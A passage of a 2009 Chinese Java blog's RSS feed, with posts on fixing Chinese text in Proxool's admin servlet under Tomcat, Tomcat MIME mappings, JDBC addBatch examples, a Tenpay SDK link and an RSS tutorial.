/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; * &amp;lt;code&amp;gt;getWriter&amp;lt;/code&amp;gt; updates it to &amp;lt;code&amp;gt;&lt;strong style="BACKGROUND-COLOR: #99ff99; COLOR: black"&gt;ISO&lt;/strong&gt;-&lt;strong style="BACKGROUND-COLOR: #ff9999; COLOR: black"&gt;8859-1&lt;/strong&gt;&amp;lt;/code&amp;gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; * (with the effect that a subsequent call to getContentType() will&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; * include a charset=&lt;strong style="BACKGROUND-COLOR: #99ff99; COLOR: black"&gt;ISO&lt;/strong&gt;-&lt;strong style="BACKGROUND-COLOR: #ff9999; COLOR: black"&gt;8859-1&lt;/strong&gt; component which will also be&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; * reflected in the Content-Type response header, thereby satisfying&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; * the Servlet spec requirement that containers must communicate the&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; * &lt;strong style="BACKGROUND-COLOR: #ff66ff; COLOR: black"&gt;character&lt;/strong&gt; encoding used for the servlet response's writer to the&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; * client).&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; */&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;setCharacterEncoding(getCharacterEncoding());&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;usingWriter = true;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;outputBuffer.checkConverter();&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if (writer == null) {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;writer = new CoyoteWriter(outputBuffer);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;return writer;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;　　对比后我们看到，二者虽然代码差异很大，其中&lt;strong style="BACKGROUND-COLOR: #ffff66; COLOR: black"&gt;tomcat6&lt;/strong&gt;的实现多了outputBuffer.checkConverter();这一行。其实这里只是进行从char到byte的转换，而对于汉字只要字符编码设置无误就不存在问题的（tomcat在这里有较复杂的处理，目的在于兼容JDK1.1，而不是使用nio）。字符编码的设置方法是类似&amp;ldquo;response.setContentType("text/html;charset=GBK");&amp;rdquo;这样的代码行。&lt;br /&gt;问题都排除了，那么得出的结论就是二者的Writer输出是一致的，完全可以使用Writer来代替StreamOutput进行输出了。&lt;br /&gt;　　既然找到问题产生的根本原因和处理方法，那么下一步就是着手解决它了。我们基本的改进方案是只改进org.logicalcobwebs.proxool.admin.servlet.AdminServlet类，核心是让不再使用OutputStream输出HTML而是用Writer。&lt;br /&gt;具体步骤大致如下：&lt;br /&gt;1、改掉憋脚的日期格式，由&lt;br /&gt;private static final DateFormat DATE_FORMAT = new SimpleDateFormat("dd-MMM-yyyy HH:mm:ss");&lt;br /&gt;替换为：&lt;br /&gt;private static final DateFormat DATE_FORMAT = new SimpleDateFormat("dd-MM-yyyy HH:mm:ss");&lt;br /&gt;2、在doGet方法的&amp;ldquo;response.setHeader("Pragma", "no-cache");&amp;rdquo;一行后加上以下两行：&lt;br /&gt;response.setLocale(new Locale((String)System.getProperties().get("user.language"), (String)System.getProperties().get("user.country")));&lt;br /&gt;response.setContentType("text/html;charset=" + System.getProperties().get("file.encoding"));&lt;br /&gt;要注意的是这里的字符集设置是依赖于当前操作系统环境的，也就是说，当前操作系统设的是GBK，这里才会被设置为GBK。如果认为没必要的话那么直接写死成"text/html;charset=GBK"即可，locale可直接使用Locale.SIMPLIFIED_CHINESE即可；&lt;br /&gt;3、将所有private void doXxx(StreamOutput out, ...)方法的第一个参数的类型都换成java.io.PrintWriter。再把doGet方法中的一些response.getOutputStream()语句换成response.getWriter()，一切搞定；&lt;br /&gt;4、还要将doGet方法中几处response.getStreamOutput()都替换为response.getWriter()；&lt;br /&gt;5、编译后将生成的新的org.logicalcobwebs.proxool.admin.servlet.AdminServlet类替换掉proxool.jar包中原有的，大功告成。&lt;br /&gt;&lt;br /&gt;　　总结一下，这个看似简单的汉字显示问题，其背景还是有些复杂的。尤其是对一个J2EE服务器软件（当然tomcat比较weblogic之类的真正的J2EE服务器还是要简单很多的）进行代码分析还是颇耗精力的。尽管付出了一些辛苦，但得到一个让我们满意又有小小激动的结果，那就是，在java中通常我们可以完美地从本质上处理一些问题，无论是对于服务器还是第三方插件。可见，开源带来的可用代码虽然可谓浩如烟海，但只要我们是个训练有素的水手，再架上一叶可顺风而破浪的轻舟，自然可畅游其间，快乐地探寻那些静静地等待着的彼岸。&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=216</guid><pubDate>Tue, 11 Aug 2009 12:07:49 GMT</pubDate></item><item><title>解决Tomcat服务器下载 xls、rar文件时出现乱码</title><link>http://www.chendw.cn:8080/view.aspx?id=215</link><description>&lt;p&gt;&lt;span class="post-body"&gt;问题：&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Tomcat服务器环境，打开浏览器下载&amp;nbsp;xls、rar文件时直接以浏览器打开并出现乱码。&lt;br /&gt;&lt;br /&gt;解决办法：&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;其实很简单，只需要在Tomcat&amp;nbsp;5.0_HOME/conf/web.xml文件中添加几行代码即可。&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;mime-mapping&amp;gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;extension&amp;gt;doc&amp;lt;/extension&amp;gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;mime-type&amp;gt;application/msword&amp;lt;/mime-type&amp;gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;/mime-mapping&amp;gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;mime-mapping&amp;gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;extension&amp;gt;xls&amp;lt;/extension&amp;gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;mime-type&amp;gt;application/vnd.ms-excel&amp;lt;/mime-type&amp;gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;/mime-mapping&amp;gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;mime-mapping&amp;gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;extension&amp;gt;ppt&amp;lt;/extension&amp;gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;mime-type&amp;gt;application/vnd.ms-powerpoint&amp;lt;/mime-type&amp;gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;/mime-mapping&amp;gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;mime-mapping&amp;gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;extension&amp;gt;zip&amp;lt;/extension&amp;gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;mime-type&amp;gt;application/zip&amp;lt;/mime-type&amp;gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;/mime-mapping&amp;gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;mime-mapping&amp;gt;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;extension&amp;gt;rar&amp;lt;/extension&amp;gt;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;mime-type&amp;gt;application/rar&amp;lt;/mime-type&amp;gt;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;/mime-mapping&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;另外，代码可以下载mime.txt,web.xml文件，还有，别忘了，&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;1）重启TOMCAT&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;2）清除你本地的IE缓存,办法是：工具--Internet选项--浏览历史纪录--删除。&lt;br /&gt;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;再打开RAR的文件时就正常下载了。&lt;/span&gt;&lt;/p&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=215</guid><pubDate>Wed, 29 Jul 2009 11:30:46 GMT</pubDate></item><item><title>[转]addBatch()用法(jdbc事务控制)</title><link>http://www.chendw.cn:8080/view.aspx?id=214</link><description>&lt;div class="blog_content"&gt;&lt;span class="hilite1"&gt;addBatch&lt;/span&gt;()用法 &lt;br /&gt;&amp;nbsp; 查看文章&amp;nbsp;&amp;nbsp; &lt;br /&gt;PreparedStatement.&lt;span class="hilite1"&gt;addbatch&lt;/span&gt;()的使用 &lt;br /&gt;Statement和PreparedStatement的区别就不多废话了,直接说PreparedStatement最重要的&lt;span class="hilite1"&gt;addbatch&lt;/span&gt;()结构的使用. &lt;br /&gt;&lt;br /&gt;1.建立链接&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp; Connection connection =getConnection(); &lt;br /&gt;&lt;br /&gt;2.不自动 Commit &lt;br /&gt;connection.setAutoCommit(false);&amp;nbsp; &lt;br /&gt;&lt;br /&gt;3.预编译SQL语句,只编译一回哦,效率高啊 &lt;br /&gt;PreparedStatement statement = connection.prepareStatement("INSERT INTO TABLEX VALUES(?, ?)");&amp;nbsp; &lt;br /&gt;&lt;br /&gt;//记录1 &lt;br /&gt;statement.setInt(1, 1); &lt;br /&gt;statement.setString(2, "Cujo"); &lt;br /&gt;statement.&lt;span class="hilite1"&gt;addBatch&lt;/span&gt;();&amp;nbsp; &lt;br /&gt;&lt;br /&gt;//记录2 &lt;br /&gt;statement.setInt(1, 2); &lt;br /&gt;statement.setString(2, "Fred"); &lt;br /&gt;statement.&lt;span class="hilite1"&gt;addBatch&lt;/span&gt;();&amp;nbsp; &lt;br /&gt;&lt;br /&gt;//记录3 &lt;br /&gt;statement.setInt(1, 3); &lt;br /&gt;statement.setString(2, "Mark"); &lt;br /&gt;statement.&lt;span class="hilite1"&gt;addBatch&lt;/span&gt;();&amp;nbsp; &lt;br /&gt;&lt;br /&gt;//批量执行上面3条语句. &lt;br /&gt;int [] counts = statement.executeBatch();&amp;nbsp; &lt;br /&gt;&lt;br /&gt;//Commit it&amp;nbsp; 到(DB)里面 &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;** &lt;br /&gt;&lt;br /&gt;已安装了microsoft 驱动程序 &lt;br /&gt;&lt;br /&gt;jdk1.4; win2000 server;&amp;nbsp; MS sql2000; &lt;br /&gt;&lt;br /&gt;*/ &lt;br /&gt;&lt;br /&gt;import java.sql.*; &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;class sql &lt;br /&gt;{ &lt;br /&gt;&lt;br /&gt;public static void main(String[] agrs) &lt;br /&gt;{ &lt;br /&gt;Connection&amp;nbsp; cn=null; &lt;br /&gt;Statement stmt=null; &lt;br /&gt;String&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; sql=null; &lt;br /&gt;&lt;br /&gt;try &lt;br /&gt;{ &lt;br /&gt;Class.forName("com.microsoft.jdbc.sqlserver.SQLServerDriver"); &lt;br /&gt;} &lt;br /&gt;catch(ClassNotFoundException ex) &lt;br /&gt;{ &lt;br /&gt;System.out.println("Not find&amp;nbsp; the&amp;nbsp; Driver!"); &lt;br /&gt;} &lt;br /&gt;&lt;br /&gt;try &lt;br /&gt;{ &lt;br /&gt;String urls="jdbc:microsoft:sqlserver://localhost:1433;DatabaseName=webroot";//webroot 库名.TALBE 是表名; &lt;br /&gt;String user="sa"; &lt;br /&gt;String password="password"; &lt;br /&gt;cn= DriverManager.getConnection(urls,user,password); &lt;br /&gt;&lt;br /&gt;//stmt=cn.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,ResultSet.CONCUR_READ_ONLY); &lt;br /&gt;stmt=cn.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,ResultSet.CONCUR_UPDATABLE); &lt;br /&gt;&lt;br /&gt;sql="select&amp;nbsp; top 10 * from&amp;nbsp; TABLE1"; &lt;br /&gt;ResultSet rs= stmt.executeQuery(sql); &lt;br /&gt;while(rs.next()) &lt;br /&gt;{ &lt;br /&gt;System.out.println(rs.getString(2)+"&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; "+rs.getString(3)); &lt;br /&gt;&lt;br /&gt;} &lt;br /&gt;&lt;br /&gt;rs.first(); &lt;br /&gt;System.out.print(rs.getRow()+"&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; "); &lt;br /&gt;System.out.println(rs.getString(2)+" 1&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; "+rs.getString(3)); &lt;br /&gt;&lt;br /&gt;rs.last(); &lt;br /&gt;System.out.print(rs.getRow()+"&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; "); &lt;br /&gt;System.out.println(rs.getString(2)+" 2&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; "+rs.getString(3)); &lt;br /&gt;&lt;br /&gt;rs.previous(); &lt;br /&gt;System.out.print(rs.getRow()+"&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; "); &lt;br /&gt;System.out.println(rs.getString(2)+" 3&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; "+rs.getString(3)); &lt;br /&gt;&lt;br /&gt;rs.next(); &lt;br /&gt;System.out.print(rs.getRow()+"&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; "); &lt;br /&gt;System.out.println(rs.getString(2)+" 4&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; "+rs.getString(3)); &lt;br /&gt;&lt;br /&gt;rs.absolute(2); &lt;br /&gt;System.out.print(rs.getRow()+"&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; "); &lt;br /&gt;System.out.println(rs.getString(2)+" 5&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; "+rs.getString(3)); &lt;br /&gt;&lt;br /&gt;/* &lt;br /&gt;rs.afterLast(); &lt;br /&gt;System.out.print(rs.getRow()+"&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; "); &lt;br /&gt;System.out.println(rs.getString(2)+"&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; "+rs.getString(3)); &lt;br /&gt;System.out.print(rs.isAfterLast()); &lt;br /&gt;&lt;br /&gt;rs.beforeFirst(); &lt;br /&gt;System.out.print(rs.getRow()+"&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; "); &lt;br /&gt;System.out.println(rs.getString(2)+"&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; "+rs.getString(3)); &lt;br /&gt;*/ &lt;br /&gt;&lt;br /&gt;String sql1="update&amp;nbsp; TABLE1 set 题目=?&amp;nbsp;&amp;nbsp; where id=? "; &lt;br /&gt;PreparedStatement stmt1 = cn.prepareStatement(sql1); &lt;br /&gt;String stat&amp;nbsp; = new String("盛夏话足部保健"); &lt;br /&gt;String stat1 = UnicodeToGB(stat);//解决中文问题 &lt;br /&gt;stmt1.setString(1,stat1); &lt;br /&gt;stmt1.setInt(2,3423); &lt;br /&gt;stmt1.executeUpdate(); &lt;br /&gt;cn.commit(); &lt;br /&gt;&lt;br /&gt;//System.out.println(stat1); &lt;br /&gt;//System.exit(0); &lt;br /&gt;&lt;br /&gt;//cn.setAutoCommit(false); &lt;br /&gt;&lt;br /&gt;stmt.&lt;span class="hilite1"&gt;addBatch&lt;/span&gt;("update&amp;nbsp; TABLE1 set 题目="盛夏话足部保健1"&amp;nbsp;&amp;nbsp; where id="3407""); &lt;br /&gt;stmt.&lt;span class="hilite1"&gt;addBatch&lt;/span&gt;("update&amp;nbsp; TABLE1 set 题目="夏季预防中暑膳食1" where id="3408""); &lt;br /&gt;stmt.&lt;span class="hilite1"&gt;addBatch&lt;/span&gt;("INSERT INTO&amp;nbsp; TABLE1&amp;nbsp; VALUES("11","12","13","","")"); &lt;br /&gt;stmt.&lt;span class="hilite1"&gt;addBatch&lt;/span&gt;("INSERT INTO&amp;nbsp; TABLE1&amp;nbsp; VALUES("12","12","13","","")"); &lt;br /&gt;stmt.&lt;span class="hilite1"&gt;addBatch&lt;/span&gt;("INSERT INTO&amp;nbsp; TABLE1&amp;nbsp; VALUES("13","12","13","","")"); &lt;br /&gt;stmt.&lt;span class="hilite1"&gt;addBatch&lt;/span&gt;("INSERT INTO&amp;nbsp; TABLE1&amp;nbsp; VALUES("14","12","13","","")"); &lt;br /&gt;stmt.&lt;span class="hilite1"&gt;addBatch&lt;/span&gt;("INSERT INTO&amp;nbsp; TABLE1&amp;nbsp; VALUES("15","12","13","","")"); &lt;br /&gt;stmt.&lt;span class="hilite1"&gt;addBatch&lt;/span&gt;("INSERT INTO&amp;nbsp; TABLE1&amp;nbsp; VALUES("16","12","13","","")"); &lt;br /&gt;stmt.&lt;span class="hilite1"&gt;addBatch&lt;/span&gt;("INSERT INTO&amp;nbsp; TABLE1&amp;nbsp; VALUES("17","12","13","","")"); &lt;br /&gt;stmt.&lt;span class="hilite1"&gt;addBatch&lt;/span&gt;("INSERT INTO&amp;nbsp; TABLE1&amp;nbsp; VALUES("18","12","13","","")"); &lt;br /&gt;&lt;br /&gt;int [] updateCounts=stmt.executeBatch(); &lt;br /&gt;cn.commit(); &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;stmt.close(); &lt;br /&gt;cn.close(); &lt;br /&gt;} &lt;br /&gt;catch(SQLException e) &lt;br /&gt;{ &lt;br /&gt;System.out.println("The SQLException error!"); &lt;br /&gt;} &lt;br /&gt;&lt;br /&gt;} &lt;br /&gt;/* &lt;br /&gt;*/ &lt;br /&gt;&lt;br /&gt;public static String UnicodeToGB(String strIn){ &lt;br /&gt;&amp;nbsp;&amp;nbsp; byte[] b; &lt;br /&gt;&amp;nbsp;&amp;nbsp; String strOut = null; &lt;br /&gt;&amp;nbsp;&amp;nbsp; if(strIn == null || (strIn.trim()).equals("")) &lt;br /&gt;&amp;nbsp;&amp;nbsp; return strIn; &lt;br /&gt;&amp;nbsp;&amp;nbsp; try{ &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; b = strIn.getBytes("GBK"); &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; strOut = new String(b,"ISO8859_1"); &lt;br /&gt;&amp;nbsp;&amp;nbsp; } &lt;br /&gt;&amp;nbsp;&amp;nbsp; catch(Exception e){ &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; System.out.println("unicodeToGB exception : " + e.getMessage() + "\n"); &lt;br /&gt;&amp;nbsp;&amp;nbsp; } &lt;br /&gt;&amp;nbsp;&amp;nbsp; return strOut; &lt;br /&gt;} &lt;br /&gt;/* &lt;br /&gt;*/ &lt;br /&gt;}&lt;/div&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=214</guid><pubDate>Tue, 28 Jul 2009 00:44:18 GMT</pubDate></item><item><title>财付通即时到账开发包【demo】</title><link>http://www.chendw.cn:8080/view.aspx?id=213</link><description>&lt;p&gt;&lt;a href="http://www.chendw.cn:8080/uploads/2009/07/bf77b6a2c5084cd5ae99ce04448052dd.doc" target="_blank"&gt;腾讯公司财付通支付网关商户开发指南(即时到帐)（michaelzeng添加）.doc&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;官方的demo &lt;a href="http://www.chendw.cn:8080/uploads/2009/07/c5f7374c11ec4ccb8f8661848f6a7b9c.zip" target="_blank"&gt;B2C.zip&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=213</guid><pubDate>Thu, 02 Jul 2009 10:34:20 GMT</pubDate></item><item><title>RSSLibJ来开发RSS[转]</title><link>http://www.chendw.cn:8080/view.aspx?id=212</link><description>&lt;p&gt;&amp;nbsp;&lt;strong&gt;&lt;span style="color: #0000ff; font-size: x-small;"&gt;一:关于RSS&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/strong&gt;Q:rss是什么?&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br /&gt;A:rss是在线共享内容的一种简易方式（也叫聚合内容，Really&amp;nbsp;Simple&amp;nbsp;Syndication&amp;nbsp;的简称,通常在时效性比较强的内容上使用RSS订阅能更快速获取信息，网站提供RSS输出，有利于让用户获取网站内容的最新更新,其实是一种能跨平台的服务于用户的简单xml文件协议.&lt;br /&gt;&lt;br /&gt;Q:为什么要RSS?&lt;br /&gt;A:在这个网络知识繁华的岁月,每个人都希望能快速的知道自己关心的知识,比如我关心x站的x一个栏目,我就可以订阅该栏目的rss,如有文章发布,我就能及时的看到更新...中间的商机我就不再赘言了.&lt;br /&gt;&lt;br /&gt;OK.开始认识RSS吧.&lt;br /&gt;&lt;br /&gt;&lt;!--more--&gt;&lt;br /&gt;----------------------&lt;br /&gt;&lt;strong&gt;&lt;span style="color: #0000ff;"&gt;&lt;span style="font-size: x-small;"&gt;二:RSS文件结构&lt;/span&gt;&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;----------------------&lt;br /&gt;&amp;nbsp;&amp;nbsp;以下以&lt;span style="color: #ff0000;"&gt;RSS2.0&lt;/span&gt;为例说明.rss文件的核心就是xml文件,所以首先必须符合xml的构架格式.&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;它是以&lt;/p&gt;
&lt;div class="code"&gt;&amp;lt;rss&amp;nbsp;version="2.0"&amp;gt;...&amp;lt;/rss&amp;gt;&lt;/div&gt;
&lt;p&gt;这种Root形式的格式.&lt;br /&gt;&amp;nbsp;&amp;nbsp;rss有一&amp;lt;channel&amp;gt;的子节点,它包含了文件的内容,在&amp;lt;channel&amp;gt;的里面,有好几个元素用以描述信息.在站点http://backend.userland.com/rss上有详细的内容,比如以下:&lt;/p&gt;
&lt;div class="code"&gt;&amp;nbsp;&amp;nbsp;title:标题,经常还有资料的来源信息&lt;br /&gt;&amp;nbsp;&amp;nbsp;link:web站点的url地址&lt;br /&gt;&amp;nbsp;&amp;nbsp;description:对网站的一个简单描述.&lt;/div&gt;
&lt;p&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;每条信息用以&amp;lt;item&amp;gt;元素表示,它被包含在&amp;lt;channel&amp;gt;节点里面,每个&amp;lt;channel&amp;gt;可以有多个&amp;lt;item&amp;gt;,每个&amp;lt;item&amp;gt;节点是真正的节点信息:&lt;/p&gt;
&lt;div class="code"&gt;&amp;nbsp;&amp;nbsp;title:列表项目的标题&lt;br /&gt;&amp;nbsp;&amp;nbsp;link:列表项目的web&amp;nbsp;url地址,&lt;br /&gt;&amp;nbsp;&amp;nbsp;description:对列表项目的简短说明,&lt;br /&gt;&amp;nbsp;&amp;nbsp;author:列表信息的作者&lt;br /&gt;&amp;nbsp;&amp;nbsp;pubDate:发布时间.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;这里,有一个很重要的节点就是pubDate的格式,它必须符合RFC&amp;nbsp;822的标准,&lt;a href="http://www.5do8.com/blog/&amp;quot;http://asg.web.cmu.edu/rfc/rfc822.html#sec-5&amp;quot;" target="_blank"&gt;查看细节&lt;/a&gt;&amp;nbsp;.开始于三个字母长度的星期,然后是每月的天数次序,然后是3个字母的月份,然后是年份,然后是具体的时间,最后是时区.&lt;/div&gt;
&lt;div class="blogstory"&gt;
&lt;div style="padding-bottom: 4px; padding-left: 5.4pt; width: 95%; padding-right: 5.4pt; background: #e6e6e6; word-break: break-all; padding-top: 4px; border: windowtext 0.5pt solid;"&gt;
&lt;div&gt;&lt;img src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/None.gif" alt="" align="top" /&gt;&lt;span style="color: #000000;"&gt;A&amp;nbsp;sample&amp;nbsp;feed&amp;nbsp;can&amp;nbsp;be&amp;nbsp;generated&amp;nbsp;as&amp;nbsp;follows:&amp;nbsp;&lt;br /&gt;&lt;img src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/None.gif" alt="" align="top" /&gt;&lt;br /&gt;&lt;img src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/None.gif" alt="" align="top" /&gt;&lt;/span&gt;&lt;span style="color: #0000ff;"&gt;import&lt;/span&gt;&lt;span style="color: #000000;"&gt;&amp;nbsp;com.rsslibj.elements.Channel;&lt;br /&gt;&lt;img src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/None.gif" alt="" align="top" /&gt;&lt;br /&gt;&lt;img 